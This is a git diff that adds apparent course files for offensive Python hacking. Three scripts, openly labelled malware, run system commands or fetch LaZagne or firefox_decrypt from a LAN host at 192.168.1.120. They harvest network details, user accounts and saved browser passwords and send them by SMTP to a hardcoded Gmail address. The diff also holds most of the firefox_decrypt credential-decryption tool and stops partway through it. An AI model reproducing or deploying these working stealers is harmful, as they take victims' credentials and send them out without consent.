diff --git a/python-ofensivo/15_hacking/10_malware/01_malware.py b/python-ofensivo/15_hacking/10_malware/01_malware.py new file mode 100644 index 0000000..44babd8 --- /dev/null +++ b/python-ofensivo/15_hacking/10_malware/01_malware.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +""" +Malware - Envío del resultado de comandos por correo + +Algunas librerías necesitarán instalación si se ejecuta con python directamente. +""" + +import dotenv +import os +import subprocess +import smtplib +from email.mime.text import MIMEText + + +def run_command(command): + """ + Ejecutor de comandos + """ + + output_command = subprocess.check_output(command, shell=True) + + return output_command.decode('cp850') + + +def send_email(subject, body, sender, recipients, password): + """ + Envia un email con el reporte configurado + """ + + msg = MIMEText(body) + msg['Subject'] = subject + msg['From'] = sender + msg['To'] = ', '.join(recipients) + + with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server: + + smtp_server.login(sender, password) + smtp_server.sendmail(sender, recipients, msg.as_string()) + + print(f"[i] Email sent Successfully!\n") + + +if __name__ == '__main__': + + dotenv.load_dotenv() + app_passwd = os.getenv("APP_PASSWD") + + ipconfig_output = run_command("ipconfig") + + # Primer correo + send_email( + "ipconfig INFO", + ipconfig_output, + "keyloggerseginf@gmail.com", + ["keyloggerseginf@gmail.com"], + app_passwd + ) + + users_info = run_command("net users") + + # Segundo correo + send_email( + "users INFO", + users_info, + "keyloggerseginf@gmail.com", + ["keyloggerseginf@gmail.com"], + app_passwd + ) diff --git a/python-ofensivo/15_hacking/10_malware/02_malware.py b/python-ofensivo/15_hacking/10_malware/02_malware.py new file mode 100644 index 0000000..5b9745c --- /dev/null +++ b/python-ofensivo/15_hacking/10_malware/02_malware.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python3 +""" +Malware - LaZagne + +LaZagne.exe https://github.com/AlessandroZ/LaZagne + +Este virus no se puede ejecutar con el Windows Defender activado. + +Si lo desactivamos, LaZagne recogerá las contraseñas de los navegadores y lo +enviará por correoç + +Algunas librerías necesitarán instalación si se ejecuta con python directamente. + +""" + +import dotenv +import os +import requests +import subprocess +import smtplib +import tempfile +from email.mime.text import MIMEText + + +def run_command(command): + """ + Ejecutor de comandos + """ + + output_command = subprocess.check_output(command, shell=True) + + return output_command.decode('cp850') + + +def send_email(subject, body, sender, recipients, password): + """ + Envia un email con el reporte configurado + """ + + msg = MIMEText(body) + msg['Subject'] = subject + msg['From'] = sender + msg['To'] = ', '.join(recipients) + + with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server: + + smtp_server.login(sender, password) + smtp_server.sendmail(sender, recipients, msg.as_string()) + + print(f"[i] Email sent Successfully!\n") + + +def download_and_execute_lazagne(): + + r = requests.get("http://192.168.1.120/LaZagne.exe") + + temp_file = tempfile.mkdtemp() + + os.chdir(temp_file) + + with open("LaZagne.exe", "wb") as f: + + f.write(r.content) + + lazagne_output = run_command("LaZagne.exe browsers") + + os.remove("LaZagne.exe") + + return lazagne_output + + +if __name__ == '__main__': + + output = download_and_execute_lazagne() + + dotenv.load_dotenv() + app_passwd = os.getenv("APP_PASSWD") + + send_email( + "LaZagne Browser INFO", + output, + "keyloggerseginf@gmail.com", + ["keyloggerseginf@gmail.com"], + app_passwd + ) diff --git a/python-ofensivo/15_hacking/10_malware/03_malware.py b/python-ofensivo/15_hacking/10_malware/03_malware.py new file mode 100644 index 0000000..414a1f4 --- /dev/null +++ b/python-ofensivo/15_hacking/10_malware/03_malware.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python3 +# coding: cp850 +""" +Malware - firefox_decrypt.py + +Firefox Decrypt https://github.com/unode/firefox_decrypt + +La construcción del ejecutables es con pyinstaller y se ejecuta así: + +pyinstaller --oneline malware.py + +Para que funcione el .exe se debe harcodear el password y no usar dotenv + +""" + +import dotenv +import os +import requests +import subprocess +import sys +import smtplib +import tempfile +from email.mime.text import MIMEText + + +def run_command(command): + """ + Ejecutor de comandos + """ + + try: + + output_command = subprocess.check_output(command, shell=True) + + return output_command.decode('cp850').strip() + + except Exception as e: + + print(f"\n[!] Error al ejecutar el comando {command}.\nError: {e}") + + return None + + +def send_email(subject, body, sender, recipients, password): + """ + Envia un email con el reporte de teclas presionadas + """ + + msg = MIMEText(body) + msg['Subject'] = subject + msg['From'] = sender + msg['To'] = ', '.join(recipients) + + with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server: + + smtp_server.login(sender, password) + smtp_server.sendmail(sender, recipients, msg.as_string()) + + print(f"[i] Email sent Successfully!\n") + + +def get_firefox_profiles(username): + + path = f"C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" + + try: + profiles = [profile for profile in os.listdir( + path) if "release" in profile] + + return profiles[0] if profiles else None + + except Exception as e: + + print(f"\n[!] Error al obtener el profile de Firefox.\nError: {e}") + + return None + + +def get_firefox_passwords(username, profiles): + + r = requests.get("http://192.168.1.120/firefox_decrypt.py") + + temp_dir = tempfile.mkdtemp() + + os.chdir(temp_dir) + + with open("firefox_decrypt.py", "wb") as f: + + f.write(r.content) + + command = f"python firefox_decrypt.py C:\\Users\\{username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\{profiles}" + + passwords = run_command(command) + + os.remove("firefox_decrypt.py") + + return passwords + + +if __name__ == '__main__': + + username_str = run_command("whoami") + username = username_str.split("\\")[1] + + profiles = get_firefox_profiles(username) + + if not username or not profiles: + + sys.exit( + f"\n[!] No ha sido posible obtener el nombre de usuario o el profile válido de firefox") + + passwords = get_firefox_passwords(username, profiles) + + if passwords: + + dotenv.load_dotenv() + app_passwd = os.getenv("APP_PASSWD") + + send_email( + "Decrypted Firefox Passwords INFO", + passwords, + "keyloggerseginf@gmail.com", + ["keyloggerseginf@gmail.com"], + app_passwd + ) + + else: + + print(f"[!] No se han encontrado contraseñas") diff --git a/python-ofensivo/15_hacking/10_malware/firefox_decrypt.py b/python-ofensivo/15_hacking/10_malware/firefox_decrypt.py new file mode 100644 index 0000000..42c7772 --- /dev/null +++ b/python-ofensivo/15_hacking/10_malware/firefox_decrypt.py @@ -0,0 +1,1220 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Based on original work from: www.dumpzilla.org + +from __future__ import annotations + +import argparse +import csv +import ctypes as ct +import json +import logging +import locale +import os +import platform +import sqlite3 +import sys +import shutil +from base64 import b64decode +from getpass import getpass +from itertools import chain +from subprocess import run, PIPE, DEVNULL +from urllib.parse import urlparse +from configparser import ConfigParser +from typing import Optional, Iterator, Any + +LOG: logging.Logger +VERBOSE = False +SYSTEM = platform.system() +SYS64 = sys.maxsize > 2**32 +DEFAULT_ENCODING = "utf-8" + +PWStore = list[dict[str, str]] + +# NOTE: In 1.0.0-rc1 we tried to use locale information to encode/decode +# content passed to NSS. This was an attempt to address the encoding issues +# affecting Windows. However after additional testing Python now also defaults +# to UTF-8 for encoding. +# Some of the limitations of Windows have to do with poor support for UTF-8 +# characters in cmd.exe. Terminal - https://github.com/microsoft/terminal or +# a Bash shell such as Git Bash - https://git-scm.com/downloads are known to +# provide a better user experience and are therefore recommended + + +def get_version() -> str: + """Obtain version information from git if available otherwise use + the internal version number + """ + + def internal_version(): + return ".".join(map(str, __version_info__[:3])) + "".join(__version_info__[3:]) + + try: + p = run(["git", "describe", "--tags"], stdout=PIPE, stderr=DEVNULL, text=True) + except FileNotFoundError: + return internal_version() + + if p.returncode: + return internal_version() + else: + return p.stdout.strip() + + +__version_info__ = (1, 1, 0, "+git") +__version__: str = get_version() + + +class NotFoundError(Exception): + """Exception to handle situations where a credentials file is not found""" + + pass + + +class Exit(Exception): + """Exception to allow a clean exit from any point in execution""" + + CLEAN = 0 + ERROR = 1 + MISSING_PROFILEINI = 2 + MISSING_SECRETS = 3 + BAD_PROFILEINI = 4 + LOCATION_NO_DIRECTORY = 5 + BAD_SECRETS = 6 + BAD_LOCALE = 7 + + FAIL_LOCATE_NSS = 10 + FAIL_LOAD_NSS = 11 + FAIL_INIT_NSS = 12 + FAIL_NSS_KEYSLOT = 13 + FAIL_SHUTDOWN_NSS = 14 + BAD_PRIMARY_PASSWORD = 15 + NEED_PRIMARY_PASSWORD = 16 + DECRYPTION_FAILED = 17 + + PASSSTORE_NOT_INIT = 20 + PASSSTORE_MISSING = 21 + PASSSTORE_ERROR = 22 + + READ_GOT_EOF = 30 + MISSING_CHOICE = 31 + NO_SUCH_PROFILE = 32 + + UNKNOWN_ERROR = 100 + KEYBOARD_INTERRUPT = 102 + + def __init__(self, exitcode): + self.exitcode = exitcode + + def __unicode__(self): + return f"Premature program exit with exit code {self.exitcode}" + + +class Credentials: + """Base credentials backend manager""" + + def __init__(self, db): + self.db = db + + LOG.debug("Database location: %s", self.db) + if not os.path.isfile(db): + raise NotFoundError(f"ERROR - {db} database not found\n") + + LOG.info("Using %s for credentials.", db) + + def __iter__(self) -> Iterator[tuple[str, str, str, int]]: + pass + + def done(self): + """Override this method if the credentials subclass needs to do any + action after interaction + """ + pass + + +class SqliteCredentials(Credentials): + """SQLite credentials backend manager""" + + def __init__(self, profile): + db = os.path.join(profile, "signons.sqlite") + + super(SqliteCredentials, self).__init__(db) + + self.conn = sqlite3.connect(db) + self.c = self.conn.cursor() + + def __iter__(self) -> Iterator[tuple[str, str, str, int]]: + LOG.debug("Reading password database in SQLite format") + self.c.execute( + "SELECT hostname, encryptedUsername, encryptedPassword, encType " + "FROM moz_logins" + ) + for i in self.c: + # yields hostname, encryptedUsername, encryptedPassword, encType + yield i + + def done(self): + """Close the sqlite cursor and database connection""" + super(SqliteCredentials, self).done() + + self.c.close() + self.conn.close() + + +class JsonCredentials(Credentials): + """JSON credentials backend manager""" + + def __init__(self, profile): + db = os.path.join(profile, "logins.json") + + super(JsonCredentials, self).__init__(db) + + def __iter__(self) -> Iterator[tuple[str, str, str, int]]: + with open(self.db) as fh: + LOG.debug("Reading password database in JSON format") + data = json.load(fh) + + try: + logins = data["logins"] + except Exception: + LOG.error(f"Unrecognized format in {self.db}") + raise Exit(Exit.BAD_SECRETS) + + for i in logins: + try: + yield ( + i["hostname"], + i["encryptedUsername"], + i["encryptedPassword"], + i["encType"], + ) + except KeyError: + # This should handle deleted passwords that still maintain + # a record in the JSON file - GitHub issue #99 + LOG.info(f"Skipped record {i} due to missing fields") + + +def find_nss(locations, nssname) -> ct.CDLL: + """Locate nss is one of the many possible locations""" + fail_errors: list[tuple[str, str]] = [] + + OS = ("Windows", "Darwin") + + for loc in locations: + nsslib = os.path.join(loc, nssname) + LOG.debug("Loading NSS library from %s", nsslib) + + if SYSTEM in OS: + # On windows in order to find DLLs referenced by nss3.dll + # we need to have those locations on PATH + os.environ["PATH"] = ";".join([loc, os.environ["PATH"]]) + LOG.debug("PATH is now %s", os.environ["PATH"]) + # However this doesn't seem to work on all setups and needs to be + # set before starting python so as a workaround we chdir to + # Firefox's nss3.dll/libnss3.dylib location + if loc: + if not os.path.isdir(loc): + # No point in trying to load from paths that don't exist + continue + + workdir = os.getcwd() + os.chdir(loc) + + try: + nss: ct.CDLL = ct.CDLL(nsslib) + except OSError as e: + fail_errors.append((nsslib, str(e))) + else: + LOG.debug("Loaded NSS library from %s", nsslib) + return nss + finally: + if SYSTEM in OS and loc: + # Restore workdir changed above + os.chdir(workdir) + + else: + LOG.error( + "Couldn't find or load '%s'. This library is essential " + "to interact with your Mozilla profile.", + nssname, + ) + LOG.error( + "If you are seeing this error please perform a system-wide " + "search for '%s' and file a bug report indicating any " + "location found. Thanks!", + nssname, + ) + LOG.error( + "Alternatively you can try launching firefox_decrypt " + "from the location where you found '%s'. " + "That is 'cd' or 'chdir' to that location and run " + "firefox_decrypt from there.", + nssname, + ) + + LOG.error( + "Please also include the following on any bug report. " + "Errors seen while searching/loading NSS:" + ) + + for target, error in fail_errors: + LOG.error("Error when loading %s was %s", target, error) + + raise Exit(Exit.FAIL_LOCATE_NSS) + + +def load_libnss(): + """Load libnss into python using the CDLL interface""" + if SYSTEM == "Windows": + nssname = "nss3.dll" + locations: list[str] = [ + "", # Current directory or system lib finder + os.path.expanduser("~\\AppData\\Local\\Mozilla Firefox"), + os.path.expanduser("~\\AppData\\Local\\Firefox Developer Edition"), + os.path.expanduser("~\\AppData\\Local\\Mozilla Thunderbird"), + os.path.expanduser("~\\AppData\\Local\\Nightly"), + os.path.expanduser("~\\AppData\\Local\\SeaMonkey"), + os.path.expanduser("~\\AppData\\Local\\Waterfox"), + "C:\\Program Files\\Mozilla Firefox", + "C:\\Program Files\\Firefox Developer Edition", + "C:\\Program Files\\Mozilla Thunderbird", + "C:\\Program Files\\Nightly", + "C:\\Program Files\\SeaMonkey", + "C:\\Program Files\\Waterfox", + ] + if not SYS64: + locations = [ + "", # Current directory or system lib finder + "C:\\Program Files (x86)\\Mozilla Firefox", + "C:\\Program Files (x86)\\Firefox Developer Edition", + "C:\\Program Files (x86)\\Mozilla Thunderbird", + "C:\\Program Files (x86)\\Nightly", + "C:\\Program Files (x86)\\SeaMonkey", + "C:\\Program Files (x86)\\Waterfox", + ] + locations + + # If either of the supported software is in PATH try to use it + software = ["firefox", "thunderbird", "waterfox", "seamonkey"] + for binary in software: + location: Optional[str] = shutil.which(binary) + if location is not None: + nsslocation: str = os.path.join(os.path.dirname(location), nssname) + locations.append(nsslocation) + + elif SYSTEM == "Darwin": + nssname = "libnss3.dylib" + locations = ( + "", # Current directory or system lib finder + "/usr/local/lib/nss", + "/usr/local/lib", + "/opt/local/lib/nss", + "/sw/lib/firefox", + "/sw/lib/mozilla", + "/usr/local/opt/nss/lib", # nss installed with Brew on Darwin + "/opt/pkg/lib/nss", # installed via pkgsrc + "/Applications/Firefox.app/Contents/MacOS", # default manual install location + "/Applications/Thunderbird.app/Contents/MacOS", + "/Applications/SeaMonkey.app/Contents/MacOS", + "/Applications/Waterfox.app/Contents/MacOS", + ) + + else: + nssname = "libnss3.so" + if SYS64: + locations = ( + "", # Current directory or system lib finder + "/usr/lib64", + "/usr/lib64/nss", + "/usr/lib", + "/usr/lib/nss", + "/usr/local/lib", + "/usr/local/lib/nss", + "/opt/local/lib", + "/opt/local/lib/nss", + os.path.expanduser("~/.nix-profile/lib"), + ) + else: + locations = ( + "", # Current directory or system lib finder + "/usr/lib", + "/usr/lib/nss", + "/usr/lib32", + "/usr/lib32/nss", + "/usr/lib64", + "/usr/lib64/nss", + "/usr/local/lib", + "/usr/local/lib/nss", + "/opt/local/lib", + "/opt/local/lib/nss", + os.path.expanduser("~/.nix-profile/lib"), + ) + + # If this succeeds libnss was loaded + return find_nss(locations, nssname) + + +class c_char_p_fromstr(ct.c_char_p): + """ctypes char_p override that handles encoding str to bytes""" + + def from_param(self): + return self.encode(DEFAULT_ENCODING) + + +class NSSProxy: + class SECItem(ct.Structure): + """struct needed to interact with libnss""" + + _fields_ = [ + ("type", ct.c_uint), + ("data", ct.c_char_p), # actually: unsigned char * + ("len", ct.c_uint), + ] + + def decode_data(self): + _bytes = ct.string_at(self.data, self.len) + return _bytes.decode(DEFAULT_ENCODING) + + class PK11SlotInfo(ct.Structure): + """Opaque structure representing a logical PKCS slot""" + + def __init__(self, non_fatal_decryption=False): + # Locate libnss and try loading it + self.libnss = load_libnss() + self.non_fatal_decryption = non_fatal_decryption + + SlotInfoPtr = ct.POINTER(self.PK11SlotInfo) + SECItemPtr = ct.POINTER(self.SECItem) + + self._set_ctypes(ct.c_int, "NSS_Init", c_char_p_fromstr) + self._set_ctypes(ct.c_int, "NSS_Shutdown") + self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot") + self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr) + self._set_ctypes(ct.c_int, "PK11_NeedLogin", SlotInfoPtr) + self._set_ctypes( + ct.c_int, "PK11_CheckUserPassword", SlotInfoPtr, c_char_p_fromstr + ) + self._set_ctypes( + ct.c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, ct.c_void_p + ) + self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, ct.c_int) + + # for error handling + self._set_ctypes(ct.c_int, "PORT_GetError") + self._set_ctypes(ct.c_char_p, "PR_ErrorToName", ct.c_int) + self._set_ctypes(ct.c_char_p, "PR_ErrorToString", ct.c_int, ct.c_uint32) + + def _set_ctypes(self, restype, name, *argtypes): + """Set input/output types on libnss C functions for automatic type casting""" + res = getattr(self.libnss, name) + res.argtypes = argtypes + res.restype = restype + + # Transparently handle decoding to string when returning a c_char_p + if restype == ct.c_char_p: + + def _decode(result, func, *args): + try: + return result.decode(DEFAULT_ENCODING) + except AttributeError: + return result + + res.errcheck = _decode + + setattr(self, "_" + name, res) + + def initialize(self, profile: str): + # The sql: prefix ensures compatibility with both + # Berkley DB (cert8) and Sqlite (cert9) dbs + profile_path = "sql:" + profile + LOG.debug("Initializing NSS with profile '%s'", profile_path) + err_status: int = self._NSS_Init(profile_path) + LOG.debug("Initializing NSS returned %s", err_status) + + if err_status: + self.handle_error( + Exit.FAIL_INIT_NSS, + "Couldn't initialize NSS, maybe '%s' is not a valid profile?", + profile, + ) + + def shutdown(self): + err_status: int = self._NSS_Shutdown() + + if err_status: + self.handle_error( + Exit.FAIL_SHUTDOWN_NSS, + "Couldn't shutdown current NSS profile", + ) + + def authenticate(self, profile, interactive): + """Unlocks the profile if necessary, in which case a password + will prompted to the user. + """ + LOG.debug("Retrieving internal key slot") + keyslot = self._PK11_GetInternalKeySlot() + + LOG.debug("Internal key slot %s", keyslot) + if not keyslot: + self.handle_error( + Exit.FAIL_NSS_KEYSLOT, + "Failed to retrieve internal KeySlot", + ) + + try: + if self._PK11_NeedLogin(keyslot): + password: str = ask_password(profile, interactive) + + LOG.debug("Authenticating with password '%s'", password) + err_status: int = self._PK11_CheckUserPassword(keyslot, password) + + LOG.debug("Checking user password returned %s", err_status) + + if err_status: + self.handle_error( + Exit.BAD_PRIMARY_PASSWORD, + "Primary password is not correct", + ) + + else: + LOG.info("No Primary Password found - no authentication needed") + finally: + # Avoid leaking PK11KeySlot + self._PK11_FreeSlot(keyslot) + + def handle_error(self, exitcode: int, *logerror: Any): + """If an error happens in libnss, handle it and print some debug information""" + if logerror: + LOG.error(*logerror) + else: + LOG.debug("Error during a call to NSS library, trying to obtain error info") + + code = self._PORT_GetError() + name = self._PR_ErrorToName(code) + name = "NULL" if name is None else name + # 0 is the default language (localization related) + text = self._PR_ErrorToString(code, 0) + + LOG.debug("%s: %s", name, text) + + raise Exit(exitcode) + + def decrypt(self, data64): + data = b64decode(data64) + inp = self.SECItem(0, data, len(data)) + out = self.SECItem(0, None, 0) + + err_status: int = self._PK11SDR_Decrypt(inp, out, None) + LOG.debug("Decryption of data returned %s", err_status) + try: + if err_status: # -1 means password failed, other status are unknown + error_msg = ( + "Username/Password decryption failed. " + "Credentials damaged or cert/key file mismatch." + ) + + if self.non_fatal_decryption: + raise ValueError(error_msg) + else: + self.handle_error(Exit.DECRYPTION_FAILED, error_msg) + + res = out.decode_data() + finally: + # Avoid leaking SECItem + self._SECITEM_ZfreeItem(out, 0) + + return res + + +class MozillaInteraction: + """ + Abstraction interface to Mozilla profile and lib NSS + """ + + def __init__(self, non_fatal_decryption=False): + self.profile = None + self.proxy = NSSProxy(non_fatal_decryption) + + def load_profile(self, profile): + """Initialize the NSS library and profile""" + self.profile = profile + self.proxy.initialize(self.profile) + + def authenticate(self, interactive): + """Authenticate the the current profile is protected by a primary password, + prompt the user and unlock the profile. + """ + self.proxy.authenticate(self.profile, interactive) + + def unload_profile(self): + """Shutdown NSS and deactivate current profile""" + self.proxy.shutdown() + + def decrypt_passwords(self) -> PWStore: + """Decrypt requested profile using the provided password. + Returns all passwords in a list of dicts + """ + credentials: Credentials = self.obtain_credentials() + + LOG.info("Decrypting credentials") + outputs: PWStore = [] + + url: str + user: str + passw: str + enctype: int + for url, user, passw, enctype in credentials: + # enctype informs if passwords need to be decrypted + if enctype: + try: + LOG.debug("Decrypting username data '%s'", user) + user = self.proxy.decrypt(user) + LOG.debug("Decrypting password data '%s'", passw) + passw = self.proxy.decrypt(passw) + except (TypeError, ValueError) as e: + LOG.warning( + "Failed to decode username or password for entry from URL %s", + url, + ) + LOG.debug(e, exc_info=True) + user = "*** decryption failed ***" + passw = "*** decryption failed ***" + + LOG.debug( + "Decoded username '%s' and password '%s' for website '%s'", + user, + passw, + url, + ) + + output = {"url": url, "user": user, "password": passw} + outputs.append(output) + + if not outputs: + LOG.warning("No passwords found in selected profile") + + # Close credential handles (SQL) + credentials.done() + + return outputs + + def obtain_credentials(self) -> Credentials: + """Figure out which of the 2 possible backend credential engines is available""" + credentials: Credentials + try: + credentials = JsonCredentials(self.profile) + except NotFoundError: + try: + credentials = SqliteCredentials(self.profile) + except NotFoundError: + LOG.error( + "Couldn't find credentials file (logins.json or signons.sqlite)." + ) + raise Exit(Exit.MISSING_SECRETS) + + return credentials + + +class OutputFormat: + def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): + self.pwstore = pwstore + self.cmdargs = cmdargs + + def output(self): + pass + + +class HumanOutputFormat(OutputFormat): + def output(self): + for output in self.pwstore: + record: str = ( + f"\nWebsite: {output['url']}\n" + f"Username: '{output['user']}'\n" + f"Password: '{output['password']}'\n" + ) + sys.stdout.write(record) + + +class JSONOutputFormat(OutputFormat): + def output(self): + sys.stdout.write(json.dumps(self.pwstore, indent=2)) + # Json dumps doesn't add the final newline + sys.stdout.write("\n") + + +class CSVOutputFormat(OutputFormat): + def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): + super().__init__(pwstore, cmdargs) + self.delimiter = cmdargs.csv_delimiter + self.quotechar = cmdargs.csv_quotechar + self.header = cmdargs.csv_header + + def output(self): + csv_writer = csv.DictWriter( + sys.stdout, + fieldnames=["url", "user", "password"], + lineterminator="\n", + delimiter=self.delimiter, + quotechar=self.quotechar, + quoting=csv.QUOTE_ALL, + ) + if self.header: + csv_writer.writeheader() + + for output in self.pwstore: + csv_writer.writerow(output) + + +class TabularOutputFormat(CSVOutputFormat): + def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): + super().__init__(pwstore, cmdargs) + self.delimiter = "\t" + self.quotechar = "'" + + +class PassOutputFormat(OutputFormat): + def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): + super().__init__(pwstore, cmdargs) + self.prefix = cmdargs.pass_prefix + self.cmd = cmdargs.pass_cmd + self.username_prefix = cmdargs.pass_username_prefix + self.always_with_login = cmdargs.pass_always_with_login + + def output(self): + self.test_pass_cmd() + self.preprocess_outputs() + self.export() + + def test_pass_cmd(self) -> None: + """Check if pass from passwordstore.org is installed + If it is installed but not initialized, initialize it + """ + LOG.debug("Testing if password store is installed and configured") + + try: + p = run([self.cmd, "ls"], capture_output=True, text=True) + except FileNotFoundError as e: + if e.errno == 2: + LOG.error("Password store is not installed and exporting was requested") + raise Exit(Exit.PASSSTORE_MISSING) + else: + LOG.error("Unknown error happened.") + LOG.error("Error was '%s'", e) + raise Exit(Exit.UNKNOWN_ERROR) + + LOG.debug("pass returned:\nStdout: %s\nStderr: %s", p.stdout, p.stderr) + + if p.returncode != 0: + if 'Try "pass init"' in p.stderr: + LOG.error("Password store was not initialized.") + LOG.error("Initialize the password store manually by using 'pass init'") + raise Exit(Exit.PASSSTORE_NOT_INIT) + else: + LOG.error("Unknown error happened when running 'pass'.") + LOG.error("Stdout: %s\nStderr: %s", p.stdout, p.stderr) + raise Exit(Exit.UNKNOWN_ERROR) + + def preprocess_outputs(self): + # Format of "self.to_export" should be: + # {"address": {"login": "password", ...}, ...} + self.to_export: dict[str, dict[str, str]] = {} + + for record in self.pwstore: + url = record["url"] + user = record["user"] + passw = record["password"] + + # Keep track of web-address, username and passwords + # If more than one username exists for the same web-address + # the username will be used as name of the file + address = urlparse(url) + + if address.netloc not in self.to_export: + self.to_export[address.netloc] = {user: passw} + + else: + self.to_export[address.netloc][user] = passw + + def export(self): + """Export given passwords to password store + + Format of "to_export" should be: + {"address": {"login": "password", ...}, ...} + """ + LOG.info("Exporting credentials to password store") + if self.prefix: + prefix = f"{self.prefix}/" + else: + prefix = self.prefix + + LOG.debug("Using pass prefix '%s'", prefix) + + for address in self.to_export: + for user, passw in self.to_export[address].items(): + # When more than one account exist for the same address, add + # the login to the password identifier + if self.always_with_login or len(self.to_export[address]) > 1: + passname = f"{prefix}{address}/{user}" + else: + passname = f"{prefix}{address}" + + LOG.info("Exporting credentials for '%s'", passname) + + data = f"{passw}\n{self.username_prefix}{user}\n" + + LOG.debug("Inserting pass '%s' '%s'", passname, data) + + # NOTE --force is used. Existing passwords will be overwritten + cmd: list[str] = [ + self.cmd, + "insert", + "--force", + "--multiline", + passname, + ] + + LOG.debug("Running command '%s' with stdin '%s'", cmd, data) + + p = run(cmd, input=data, capture_output=True, text=True) + + if p.returncode != 0: + LOG.error( + "ERROR: passwordstore exited with non-zero: %s", p.returncode + ) + LOG.error("Stdout: %s\nStderr: %s", p.stdout, p.stderr) + raise Exit(Exit.PASSSTORE_ERROR) + + LOG.debug("Successfully exported '%s'", passname) + + +def get_sections(profiles): + """ + Returns hash of profile numbers and profile names. + """ + sections = {} + i = 1 + for section in profiles.sections(): + if section.startswith("Profile"): + sections[str(i)] = profiles.get(section, "Path") + i += 1 + else: + continue + return sections + + +def print_sections(sections, textIOWrapper=sys.stderr): + """ + Prints all available sections to an textIOWrapper (defaults to sys.stderr) + """ + for i in sorted(sections): + textIOWrapper.write(f"{i} -> {sections[i]}\n") + textIOWrapper.flush() + + +def ask_section(sections: ConfigParser): + """ + Prompt the user which profile should be used for decryption + """ + # Do not ask for choice if user already gave one + choice = "ASK" + while choice not in sections: + sys.stderr.write("Select the Mozilla profile you wish to decrypt\n") + print_sections(sections) + try: + choice = input() + except EOFError: + LOG.error("Could not read Choice, got EOF") + raise Exit(Exit.READ_GOT_EOF) + + try: + final_choice = sections[choice] + except KeyError: + LOG.error("Profile No. %s does not exist!", choice) + raise Exit(Exit.NO_SUCH_PROFILE) + + LOG.debug("Profile selection matched %s", final_choice) + + return final_choice + + +def ask_password(profile: str, interactive: bool) -> str: + """ + Prompt for profile password + """ + passwd: str + passmsg = f"\nPrimary Password for profile {profile}: " + + if sys.stdin.isatty() and interactive: + passwd = getpass(passmsg) + else: + sys.stderr.write("Reading Primary password from standard input:\n") + sys.stderr.flush() + # Ability to read the password from stdin (echo "pass" | ./firefox_...) + passwd = sys.stdin.readline().rstrip("\n") + + return passwd + + +def read_profiles(basepath): + """ + Parse Firefox profiles in provided location. + If list_profiles is true, will exit after listing available profiles. + """ + profileini = os.path.join(basepath, "profiles.ini") + + LOG.debug("Reading profiles from %s", profileini) + + if not os.path.isfile(profileini): + LOG.warning("profile.ini not found in %s", basepath) + raise Exit(Exit.MISSING_PROFILEINI) + + # Read profiles from Firefox profile folder + profiles = ConfigParser() + profiles.read(profileini, encoding=DEFAULT_ENCODING) + + LOG.debug("Read profiles %s", profiles.sections()) + + return profiles + + +def get_profile( + basepath: str, interactive: bool, choice: Optional[str], list_profiles: bool +): + """ + Select profile to use by either reading profiles.ini or assuming given + path is already a profile + If interactive is false, will not try to ask which profile to decrypt. + choice contains the choice the user gave us as an CLI arg. + If list_profiles is true will exits after listing all available profiles. + """ + try: + profiles: ConfigParser = read_profiles(basepath) + + except Exit as e: + if e.exitcode == Exit.MISSING_PROFILEINI: + LOG.warning("Continuing and assuming '%s' is a profile location", basepath) + profile = basepath + + if list_profiles: + LOG.error("Listing single profiles not permitted.") + raise + + if not os.path.isdir(profile): + LOG.error("Profile location '%s' is not a directory", profile) + raise + else: + raise + else: + if list_profiles: + LOG.debug("Listing available profiles...") + print_sections(get_sections(profiles), sys.stdout) + raise Exit(Exit.CLEAN) + + sections = get_sections(profiles) + + if len(sections) == 1: + section = sections["1"] + + elif choice is not None: + try: + section = sections[choice] + except KeyError: + LOG.error("Profile No. %s does not exist!", choice) + raise Exit(Exit.NO_SUCH_PROFILE) + + elif not interactive: + LOG.error( + "Don't know which profile to decrypt. " + "We are in non-interactive mode and -c/--choice wasn't specified." + ) + raise Exit(Exit.MISSING_CHOICE) + + else: + # Ask user which profile to open + section = ask_section(sections) + + section = section + profile = os.path.join(basepath, section) + + if not os.path.isdir(profile): + LOG.error( + "Profile location '%s' is not a directory. Has profiles.ini been tampered with?", + profile, + ) + raise Exit(Exit.BAD_PROFILEINI) + + return profile + + +# From https://bugs.python.org/msg323681 +class ConvertChoices(argparse.Action): + """Argparse action that interprets the `choices` argument as a dict + mapping the user-specified choices values to the resulting option + values. + """ + + def __init__(self, *args, choices, **kwargs): + super().__init__(*args, choices=choices.keys(), **kwargs) + self.mapping = choices + + def __call__(self, parser, namespace, value, option_string=None): + setattr(namespace, self.dest, self.mapping[value]) + + +def parse_sys_args() -> argparse.Namespace: + """Parse command line arguments""" + + if SYSTEM == "Windows": + profile_path = os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox") + elif os.uname()[0] == "Darwin": + profile_path = "~/Library/Application Support/Firefox" + else: + profile_path = "~/.mozilla/firefox" + + parser = argparse.ArgumentParser( + description="Access Firefox/Thunderbird profiles and decrypt existing passwords" + ) + parser.add_argument( + "profile", + nargs="?", + default=profile_path, + help=f"Path to profile folder (default: {profile_path})", + ) + + format_choices = { + "human": HumanOutputFormat, + "json": JSONOutputFormat, + "csv": CSVOutputFormat, + "tabular": TabularOutputFormat, + "pass": PassOutputFormat, 